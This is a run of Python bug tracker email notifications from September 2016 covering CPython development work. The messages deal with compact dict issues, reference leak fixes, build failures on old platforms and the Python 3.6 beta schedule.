In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473670121.22.0.859726767407.issue28061@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I just rebuilt the default Python branch (rev c8851a0ce7ca) on Windows in debug mode and 32-bit: the compilation succeeded and test_dict pass.

* Windows 8.1 (Version 6.3, Build 9600)
* Visual Studio 2015 : version 14.0.23107.0 D14EL


> It's unlikely, but we also print out the UCRT version at the end of the build process (with a warning if you need to update the WinSDK).

Ah, UCRT seems outdated on my PC:

29>------ Rebuild All started: Project: _testbuffer, Configuration: Debug Win32 ------
27>  Generating Code...
26>  C:\Windows\SYSTEM32\ucrtbased.dll is version 10.0.10150.0
26>  WARN: ucrtbased contains known issues. Please update the Windows 10 SDK.
26>  See:
26>    http://bugs.python.org/issue27705
26>    https://developer.microsoft.com/en-US/windows/downloads/windows-10-sdk

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:49:05 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 08:49:05 +0000
Subject: [issue28093] ResourceWarning in test_ssl
In-Reply-To: <1473651242.99.0.55455406585.issue28093@psf.upfronthosting.co.za>
Message-ID: <20160912084901.87475.5473.77C53775@psf.io>


Roundup Robot added the comment:

New changeset cf2689e191f8 by Christian Heimes in branch 'default':
Issue #28093: Check more invalid combinations of PROTOCOL_TLS_CLIENT / PROTOCOL_TLS_SERVER
https://hg.python.org/cpython/rev/cf2689e191f8

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28093>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:52:06 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 08:52:06 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473670326.2.0.839495632174.issue27213@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I have committed the patch before beta 1 because it change bytecode generating and interpreting. The bytecode generated before the patch is compatible with the patched interpreter, but the bytecode generated by patched compiler can be not compatible with unpatched interpreter. After releasing beta 1 this would require changing bytecode magic number.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Mon Sep 12 05:00:49 2016
From: report at bugs.python.org (SilentGhost)
Date: Mon, 12 Sep 2016 09:00:49 +0000
Subject: [issue25478] Consider adding a normalize() method to
 collections.Counter()
In-Reply-To: <1445826280.05.0.307309053044.issue25478@psf.upfronthosting.co.za>
Message-ID: <1473670849.54.0.923499252333.issue25478@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
Removed message: http://bugs.python.org/msg275998

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25478>
_______________________________________

From report at bugs.python.org  Mon Sep 12 05:01:04 2016
From: report at bugs.python.org (SilentGhost)
Date: Mon, 12 Sep 2016 09:01:04 +0000
Subject: [issue25478] Consider adding a normalize() method to
 collections.Counter()
In-Reply-To: <1445826280.05.0.307309053044.issue25478@psf.upfronthosting.co.za>
Message-ID: <1473670864.26.0.362006617519.issue25478@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
nosy:  -SilentGhost

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25478>
_______________________________________

From report at bugs.python.org  Mon Sep 12 05:01:47 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 09:01:47 +0000
Subject: [issue24821] The optimization of string search can cause pessimization
In-Reply-To: <1438927886.02.0.407236930114.issue24821@psf.upfronthosting.co.za>
Message-ID: <1473670907.36.0.196604500635.issue24821@psf.upfronthosting.co.za>


Ned Deily added the comment:

If it has waited this long and is truly low priority, I think it can wait a little longer until 3.7.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24821>
_______________________________________

From report at bugs.python.org  Mon Sep 12 05:04:10 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 09:04:10 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473671050.33.0.908529582575.issue27213@psf.upfronthosting.co.za>


STINNER Victor added the comment:

The change 51b635e81958 introduced memory leaks. Example:

$ ./python -m test -R 3:3 test_extcall
(...)
test_extcall leaked [102, 102, 102] references, sum=306
test_extcall leaked [41, 41, 41] memory blocks, sum=123

I'm analyzing the change to try to identify leaks.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Mon Sep 12 05:07:07 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 09:07:07 +0000
Subject: [issue27405] Ability to trace Tcl commands executed by Tkinter
In-Reply-To: <1467101160.96.0.000959009774067.issue27405@psf.upfronthosting.co.za>
Message-ID: <1473671227.95.0.748719899926.issue27405@psf.upfronthosting.co.za>


Ned Deily added the comment:

Let's target it for 3.7 and when it is ready we can discuss whether to backport it to 3.6 as well.

----------
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27405>
_______________________________________

From report at bugs.python.org  Mon Sep 12 05:17:34 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 09:17:34 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <20160912091731.21237.67766.E0FB6F62@psf.io>


Roundup Robot added the comment:

New changeset f217419d08f0 by Victor Stinner in branch 'default':
Issue #27213: Fix reference leaks
https://hg.python.org/cpython/rev/f217419d08f0

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Mon Sep 12 05:21:46 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 12 Sep 2016 09:21:46 +0000
Subject: [issue28093] ResourceWarning in test_ssl
In-Reply-To: <1473651242.99.0.55455406585.issue28093@psf.upfronthosting.co.za>
Message-ID: <1473672106.13.0.6343771707.issue28093@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

The warning is gone. Close this thread. :)

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28093>
_______________________________________

From report at bugs.python.org  Mon Sep 12 05:41:11 2016
From: report at bugs.python.org (Petri Lehtinen)
Date: Mon, 12 Sep 2016 09:41:11 +0000
Subject: [issue15819] Unable to build Python out-of-tree when source tree
 is	readonly.
In-Reply-To: <1346309362.14.0.312540957077.issue15819@psf.upfronthosting.co.za>
Message-ID: <1473673271.32.0.35453909866.issue15819@psf.upfronthosting.co.za>


Changes by Petri Lehtinen <petri at digip.org>:


----------
nosy:  -petri.lehtinen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15819>
_______________________________________

From report at bugs.python.org  Mon Sep 12 05:50:31 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 09:50:31 +0000
Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module
In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za>
Message-ID: <20160912095028.69505.29444.B695597F@psf.io>


Roundup Robot added the comment:

New changeset a951f8f30922 by Victor Stinner in branch 'default':
Cleanup socketmodule.c
https://hg.python.org/cpython/rev/a951f8f30922

New changeset 3a6917c73857 by Victor Stinner in branch 'default':
socket: Fix memory leak in sendmsg() and sendmsg_afalg()
https://hg.python.org/cpython/rev/3a6917c73857

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27744>
_______________________________________

From report at bugs.python.org  Mon Sep 12 06:00:39 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 10:00:39 +0000
Subject: [issue27866] ssl: get list of enabled ciphers
In-Reply-To: <1472210954.34.0.734962882785.issue27866@psf.upfronthosting.co.za>
Message-ID: <20160912100029.2885.52476.04449D11@psf.io>


Roundup Robot added the comment:

New changeset 2a1c7d0fdde6 by Victor Stinner in branch 'default':
Issue #27866: Fix refleak in cipher_to_dict()
https://hg.python.org/cpython/rev/2a1c7d0fdde6

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27866>
_______________________________________

From report at bugs.python.org  Mon Sep 12 06:02:27 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Mon, 12 Sep 2016 10:02:27 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473650219.02.0.385206047793.issue28092@psf.upfronthosting.co.za>
Message-ID: <1473674547.17.0.881509590034.issue28092@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

While manylinux1 requires that compliant binaries *run* when linked against the GCC 4.2 binaries, the actual recommended compiler version (and the one used in the reference Docker image) is 4.8.2: https://www.python.org/dev/peps/pep-0513/#compilation-of-compliant-wheels

That's the compiler version in Red Hat's Developer Toolset 2, the last version to support RHEL/CentOS 5.

Unfortunately, softwarecollections.org only goes back to RHEL/CentOS 6, so the devtoolset RPMs are available via Tru Huynh's personal account on the CentOS file server: https://people.centos.org/tru/devtools-2/readme

So if 3.6 compiles and runs on CentOS 5 with GCC 4.8.2, that's sufficiently compatible for manylinux1 purposes.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Mon Sep 12 06:05:05 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 10:05:05 +0000
Subject: [issue28061] Compact dict bug on Windows (Visual Studio): if
 (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473674705.36.0.625619670931.issue28061@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I compiled Python in 4 modes:

* debug/32 bits
* debug/64 bits
* release/32 bits
* release/64 bits

Compilation never fails and test_dict always pass.

I'm unable to reproduce the issue, so I removed the "release blocker" flag to not stress our release manager :-)

----------
priority: release blocker -> deferred blocker

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Mon Sep 12 06:23:42 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Mon, 12 Sep 2016 10:23:42 +0000
Subject: [issue28061] Compact dict bug on Windows (Visual Studio): if
 (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473675822.71.0.760397604076.issue28061@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

I actually did a clean rebuild and could not reproduce, so I'm guessing something did go wrong on my side.

----------
priority: deferred blocker -> normal
resolution:  -> not a bug
stage: needs patch -> resolved
status: open -> closed
type: crash -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Mon Sep 12 06:25:35 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 10:25:35 +0000
Subject: [issue28061] Compact dict bug on Windows (Visual Studio): if
 (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473675935.53.0.924111523965.issue28061@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> I actually did a clean rebuild and could not reproduce, so I'm guessing something did go wrong on my side.

Don't worry. It shouldn't hurt to double or tiple check. I'm not fully confident of this critical change (compact dict). It's good to get any kind of feedback ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Mon Sep 12 06:28:13 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Mon, 12 Sep 2016 10:28:13 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473676093.08.0.688118663461.issue27364@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Fair enough, but please open a new issue for that.

@Terry - you're welcome; that's exactly the reason I pushed for it :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Mon Sep 12 06:31:50 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 12 Sep 2016 10:31:50 +0000
Subject: [issue27604] More details about `-O` flag
In-Reply-To: <1469353581.38.0.811049911305.issue27604@psf.upfronthosting.co.za>
Message-ID: <1473676310.09.0.917715275654.issue27604@psf.upfronthosting.co.za>


Berker Peksag added the comment:

This is a duplicate of issue 17232. Note that "This changes the filename extension for compiled files from ``.pyc`` to ``.pyo``." part is no longer true. See PEP 488 for details.

----------
nosy: +berker.peksag
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> Improve -O docs

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27604>
_______________________________________

From report at bugs.python.org  Mon Sep 12 06:33:34 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 10:33:34 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473650219.02.0.385206047793.issue28092@psf.upfronthosting.co.za>
Message-ID: <1473676414.53.0.748930235735.issue28092@psf.upfronthosting.co.za>


Ned Deily added the comment:

Thanks for the info, Nick.  With that in mind, I"m removing this as a "release blocker" for now.  Steven, would it be possible to upgrade gcc on your system?  We'll have to deal with the Tiger buildbot separately.

----------
priority: release blocker -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Mon Sep 12 06:51:41 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 10:51:41 +0000
Subject: [issue28099] Drop Mac OS X Tiger support in Python 3.6
Message-ID: <1473677501.77.0.96699360086.issue28099@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Mac OS X Tiger was released in 2004: 12 years ago, 3 years after Windows XP.

The Tiger buildbot has many issues, it uses an old compiler (GCC 4.0) and an old OpenSSL version.

Python 3.6 now requires ISO C99 support, whereas Tiger GCC 4.0 lacks support for C99 "extern inline" functions: issue #28092.

I propose to officially stop supporting Mac OS X Tiger in Python 3.6: modify the PEP 11 and What's New in Python 3.6 to announce the end of the support. Python 3.5 would be the last version supporting Tiger.

----------
messages: 276019
nosy: haypo, ned.deily
priority: normal
severity: normal
status: open
title: Drop Mac OS X Tiger support in Python 3.6
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28099>
_______________________________________

From report at bugs.python.org  Mon Sep 12 06:51:57 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 10:51:57 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473650219.02.0.385206047793.issue28092@psf.upfronthosting.co.za>
Message-ID: <1473677517.69.0.966953954126.issue28092@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I created the issue #28099 "Drop Mac OS X Tiger support in Python 3.6.

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Mon Sep 12 07:04:30 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 11:04:30 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <20160912110424.87575.46344.20085AE0@psf.io>


Roundup Robot added the comment:

New changeset f860b7a775c5 by Victor Stinner in branch 'default':
ssue #27213: Reintroduce checks in _PyStack_AsDict()
https://hg.python.org/cpython/rev/f860b7a775c5

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Mon Sep 12 07:38:51 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 11:38:51 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <20160912113846.7366.92243.71904EF0@psf.io>


Roundup Robot added the comment:

New changeset e372c0ad32ce by Victor Stinner in branch 'default':
Revert change f860b7a775c5
https://hg.python.org/cpython/rev/e372c0ad32ce

New changeset 2558bc4a4ebf by Victor Stinner in branch 'default':
Document kwnames in _PyObject_FastCallKeywords() and _PyStack_AsDict()
https://hg.python.org/cpython/rev/2558bc4a4ebf

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Mon Sep 12 07:42:06 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 11:42:06 +0000
Subject: [issue27845] Optimize update_keyword_args() function
In-Reply-To: <1471988674.88.0.138357624643.issue27845@psf.upfronthosting.co.za>
Message-ID: <1473680526.06.0.0962957057133.issue27845@psf.upfronthosting.co.za>


STINNER Victor added the comment:

_PyStack_AsDict() doesn't check anymore if keys are unique.

BUILD_MAP_UNPACK and BUILD_MAP_UNPACK_WITH_CALL opcodes now use PyDict_Update() to combine mappings and _PyDictView_Intersect() to check if keys are unique.

I don't know if there is still something to optimize. The opcode changed the method to C and Python functions (FASTCALL) changed a lot recently ;-)

I suggest to close the issue.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27845>
_______________________________________

From report at bugs.python.org  Mon Sep 12 07:43:04 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Mon, 12 Sep 2016 11:43:04 +0000
Subject: [issue28100] Refactor error messages in symtable.c
Message-ID: <1473680584.21.0.216530190248.issue28100@psf.upfronthosting.co.za>


New submission from Ivan Levkivskyi:

Patch with added comment and a minor refactoring to error messages in symtable.c

Now the error message is simply always overwritten by any more "severe" SyntaxError found in the same block.

----------
components: Interpreter Core
files: refactor-error-msg.diff
keywords: patch
messages: 276024
nosy: christian.heimes, levkivskyi
priority: normal
severity: normal
status: open
title: Refactor error messages in symtable.c
versions: Python 3.6
Added file: http://bugs.python.org/file44592/refactor-error-msg.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28100>
_______________________________________

From report at bugs.python.org  Mon Sep 12 07:56:27 2016
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Mon, 12 Sep 2016 11:56:27 +0000
Subject: [issue28080] Allow reading member names with bogus encodings in
 zipfile
In-Reply-To: <1473620375.38.0.155906896901.issue28080@psf.upfronthosting.co.za>
Message-ID: <1473681386.99.0.0324418158579.issue28080@psf.upfronthosting.co.za>


Stephen J. Turnbull added the comment:

If you have a workaround that's available to nonprogrammers, I'd like to hear about it.  I have found none, that's why I went to the trouble to put together a patch even though I knew that the odds of actually getting it in to Python 3.6 was very low -- my patch (or Sergey Dorofeev's, but that needs work to be applicable to trunk) does everything I've ever needed, so I suppose it would do for all the use cases so far posted (except umedoblock's encoding-guessing approach, but that can be handled by many 3rd-party encoding-guessing codecs, I think, and IMO should be).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28080>
_______________________________________

From report at bugs.python.org  Mon Sep 12 08:01:28 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 12:01:28 +0000
Subject: [issue28077] Fix find_empty_slot in dictobject
In-Reply-To: <1473605153.7.0.216174732539.issue28077@psf.upfronthosting.co.za>
Message-ID: <1473681688.49.0.425040832876.issue28077@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Hum, I understand that it's a bug, so do you know how to reproduce the bug from a pure Python script? If yes, it would be nice to include an unit test.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28077>
_______________________________________

From report at bugs.python.org  Mon Sep 12 08:15:27 2016
From: report at bugs.python.org (INADA Naoki)
Date: Mon, 12 Sep 2016 12:15:27 +0000
Subject: [issue28077] Fix find_empty_slot in dictobject
In-Reply-To: <1473681688.49.0.425040832876.issue28077@psf.upfronthosting.co.za>
Message-ID: <CAEfz+TwopArnxs2GXsgUOmZtECf1dKPgPBtAKnS111UKaoUrmA@mail.gmail.com>


INADA Naoki added the comment:

It cannot hit from Python.
The function never called for split table, since resize function combine
split table.

So we can just comment the function supports only combined table.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28077>
_______________________________________

From report at bugs.python.org  Mon Sep 12 08:23:13 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 12:23:13 +0000
Subject: [issue28077] Fix find_empty_slot in dictobject
In-Reply-To: <1473605153.7.0.216174732539.issue28077@psf.upfronthosting.co.za>
Message-ID: <20160912122305.8829.72302.C4BAFDB7@psf.io>


Roundup Robot added the comment:

New changeset 0e986b81cc1c by Victor Stinner in branch 'default':
Issue #28077: find_empty_slot() only supports combined dict
https://hg.python.org/cpython/rev/0e986b81cc1c

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28077>
_______________________________________

From report at bugs.python.org  Mon Sep 12 08:25:38 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 12:25:38 +0000
Subject: [issue28077] Fix find_empty_slot in dictobject
In-Reply-To: <1473605153.7.0.216174732539.issue28077@psf.upfronthosting.co.za>
Message-ID: <1473683138.61.0.942723491998.issue28077@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> find_empty_slot will also do *value_addr = &mp->ma_values[-1] if it encounters a split dict.

I checked just before Naoki comment the issue, but I have the same conclusion: find_empty_slot() is never called on a split table.

By the way, we might modify find_empty_slot() to call insertion_resize(), because insertion_resize() is always called before find_empty_slot().

I close the issue. Please open a new issue if you want to refactor the code.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28077>
_______________________________________

From report at bugs.python.org  Mon Sep 12 08:47:34 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 12:47:34 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <20160912124730.87475.15977.08B292D8@psf.io>


Roundup Robot added the comment:

New changeset 0773e5cb8608 by Victor Stinner in branch 'default':
Issue #27350: Document compact dict memory usage
https://hg.python.org/cpython/rev/0773e5cb8608

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Mon Sep 12 08:49:21 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 12:49:21 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473684561.52.0.555515157478.issue27350@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Serhiy: "Could you compare the performance between the version just before adding new dict implementation and the version just after this?"

I'm running benchmarks, I will keep you in touch :-)

Since the main issue (implement compact dict) is solved, I close the issue. Please open new specific issue if you want to enhance the implementation, fix bugs, etc.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Mon Sep 12 08:51:16 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 12:51:16 +0000
Subject: [issue28081] [Patch] timemodule: Complete Autoconf bits for clock_*()
 functions: make clock_getres() and clock_settime() optional
In-Reply-To: <1473618669.04.0.158374043531.issue28081@psf.upfronthosting.co.za>
Message-ID: <1473684676.74.0.2371500567.issue28081@psf.upfronthosting.co.za>


STINNER Victor added the comment:

LGTM, but I wait until Python 3.6 beta 1 is tagged to push this change.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28081>
_______________________________________

From report at bugs.python.org  Mon Sep 12 08:59:03 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 12:59:03 +0000
Subject: [issue27810] Add METH_FASTCALL: new calling convention for C functions
In-Reply-To: <1471653166.26.0.257085519078.issue27810@psf.upfronthosting.co.za>
Message-ID: <1473685143.99.0.125645430994.issue27810@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Stefan Behnel: "There is a tiny bit of a backwards compatibility concern as the new function signature would be incompatible with anything we had before,"

Python 3.6 will probably have two "fast call" calling convention:

* _PyObject_FastCallDict(): expect a Python dict for keyword arguments
* _PyObject_FastCallKeywods(): expect a Python tuple for keys of keyword arguments, keyword values are packed in the same array than positional arguments

_PyObject_FastCallKeywods() is not really written to be called directly: Python/ceval.c calls you, but you may call _PyObject_FastCallKeywods() again "wrapper" functions, like functools.partial().

Currently, tp_call (and tp_init and tp_new) still expects a (tuple, dict) for positional and keyword arguments, but later I will add something to also support METH_FASTCALL for callable objects. I just don't know yet what is the best option to make this change.

--

The main idea is implemented (implement METH_FASTCALL), I close the issue.

I will open new issues for more specific changes, and maybe extend the API (especially tp_call).

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27810>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:03:33 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 12 Sep 2016 13:03:33 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <1473685413.24.0.0613812157238.issue27322@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Or we can just skip the test like the other tests with self._skip_if_sys_path_not_writable()

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:07:15 2016
From: report at bugs.python.org (Chris Angelico)
Date: Mon, 12 Sep 2016 13:07:15 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <1473685635.95.0.13075047752.issue27322@psf.upfronthosting.co.za>


Chris Angelico added the comment:

Huh. Yeah, that would work really nicely. Thanks Christian!

Does this count as a bugfix? I think we've missed 3.6 feature freeze.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:08:55 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 13:08:55 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <20160912130846.48610.6300.56C78870@psf.io>


Roundup Robot added the comment:

New changeset e9e4d1b5b4b5 by Christian Heimes in branch 'default':
Issue #27322: skip test_compile_path when sys.path is not writeable.
https://hg.python.org/cpython/rev/e9e4d1b5b4b5

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:11:06 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 12 Sep 2016 13:11:06 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <1473685866.24.0.450377456662.issue27322@psf.upfronthosting.co.za>


Christian Heimes added the comment:

AFAIK Ned hasn't tagged the beta yet. Let's see if this fixes the failing Gentoo build bot.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:12:05 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 12 Sep 2016 13:12:05 +0000
Subject: [issue28077] Fix find_empty_slot in dictobject
In-Reply-To: <1473605153.7.0.216174732539.issue28077@psf.upfronthosting.co.za>
Message-ID: <1473685925.66.0.978159571804.issue28077@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Yes. It cannot be hit and I want to remove it at first. But I decide not to do that since there is no clue in the future find_empty_slot will not be used against split dict.

And hapyo, if you decide to make find_empty_slot support only combined dict, why not remove mp_values check?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28077>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:13:05 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 12 Sep 2016 13:13:05 +0000
Subject: [issue28077] Fix find_empty_slot in dictobject
In-Reply-To: <1473605153.7.0.216174732539.issue28077@psf.upfronthosting.co.za>
Message-ID: <1473685985.39.0.900923076916.issue28077@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

mp_values should be mp->ma_values, sorry.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28077>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:13:55 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 13:13:55 +0000
Subject: [issue28077] Fix find_empty_slot in dictobject
In-Reply-To: <1473605153.7.0.216174732539.issue28077@psf.upfronthosting.co.za>
Message-ID: <1473686035.81.0.220541359021.issue28077@psf.upfronthosting.co.za>


